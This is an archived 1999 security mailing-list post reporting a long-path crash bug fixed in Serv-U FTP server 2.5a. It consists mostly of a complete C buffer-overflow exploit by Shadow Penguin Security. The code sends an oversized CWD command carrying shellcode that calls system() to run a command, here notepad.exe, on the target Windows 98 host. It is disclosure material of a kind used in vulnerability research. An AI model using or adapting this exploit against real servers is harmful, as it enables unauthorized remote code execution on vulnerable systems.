ftpd_win9xNT_exploit.txt

`Subject: Exploit: Serv-U Ver2.5 FTPd Win9x/NT  
To: [email protected]   
  
  
Hi,  
  
  
"Version 2.5a Released 5 May 1999  
* Fixed bug introduced in v2.5 causing crashes with long paths in FTP  
commands."  
  
  
Upgrade is available at http://www.ftpserv-u.com/.  
  
  
Original thread:  
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-04-28&[email protected]  
  
  
Max Vision  
  
  
  
/*  
FTP Serv-U Version 2.5 Exploit for Windows98  
The Shadow Penguin Security (http://shadowpenguin.backsection.net)  
Written by UNYUN ([email protected])  
*/  
#include <stdio.h>  
#include <string.h>  
#include <netdb.h>  
#include <netinet/in.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <sys/time.h>  
#include <unistd.h>  
  
  
#define BUFSIZE 9000  
#define FTP_PORT 21  
#define RETADR 164  
#define CODEOFS 200  
#define FSTACKOFS 174  
#define JMPOFS 6  
#define MAXUSER 100  
#define MAXPASS 100  
#define EIP 0xbff7a027  
#define FAKESTACK 0x80050101  
#define NOP 0x90  
#define JMPS 0xeb  
  
  
unsigned char exploit_code[200]={  
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,  
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,  
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,  
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,  
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,  
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,  
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,  
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,  
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,  
0xFF,0x00};  
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";  
  
  
  
void sendcmd(int sockfd,char *packetbuf)  
{  
int i;  
  
  
write(sockfd,packetbuf,strlen(packetbuf));  
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){  
packetbuf[i]=0;  
if(strchr(packetbuf,'\n')!=NULL) break;  
}  
}  
  
  
int main(int argc,char *argv[])  
{  
struct hostent *hs;  
struct sockaddr_in cli;  
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];  
char user[MAXUSER],pass[MAXPASS];  
int sockfd,i,fakestack,ip,ebp,ins;  
  
  
if (argc<2){  
printf("usage\n %s HostName {[username] [password]}\n",argv[0]);  
exit(1);  
}else if (argc==4){  
strncpy(user,argv[2],MAXUSER-1);  
strncpy(pass,argv[3],MAXPASS-1);  
user[MAXUSER-1]=0; pass[MAXPASS-1]=0;  
}else{  
strcpy(user,"anonymous");  
strcpy(pass,"[email protected]");  
}  
bzero(&cli, sizeof(cli));  
cli.sin_family = AF_INET;  
cli.sin_port = htons(FTP_PORT);  
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
if ((hs=gethostbyname(argv[1]))==NULL){  
printf("Can not resolve specified host.\n");  
exit(1);  
}  
cli.sin_family = hs->h_addrtype;  
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);  
}  
  
  
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){  
perror("socket"); exit(0);  
}  
  
  
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){  
perror("connect"); exit(0);  
}  
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){  
packetbuf[i]=0;  
if(strchr(packetbuf,'\n')!=NULL) break;  
}  
  
  
strcat(exploit_code,cmdbuf);  
memset(buf,NOP,BUFSIZE);  
  
  
fakestack=FAKESTACK;  
for (i=0;i<FSTACKOFS;i+=4){  
buf[i ]=fakestack&0xff;  
buf[i+1]=(fakestack>>8)&0xff;  
buf[i+2]=(fakestack>>16)&0xff;  
buf[i+3]=(fakestack>>24)&0xff;  
}  
ip=EIP;  
buf[RETADR ]=ip&0xff;  
buf[RETADR+1]=(ip>>8)&0xff;  
buf[RETADR+2]=(ip>>16)&0xff;  
buf[RETADR+3]=(ip>>24)&0xff;  
buf[RETADR+4]=JMPS;  
buf[RETADR+5]=JMPOFS;  
memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));  
buf[BUFSIZE]=0;  
  
  
sprintf(packetbuf,"user %s\r\n",user);  
sendcmd(sockfd,packetbuf);  
sprintf(packetbuf,"pass %s\r\n",pass);  
sendcmd(sockfd,packetbuf);  
sprintf(packetbuf,"cwd %s\r\n",buf);  
sendcmd(sockfd,packetbuf);  
  
  
close(sockfd);  
}  
`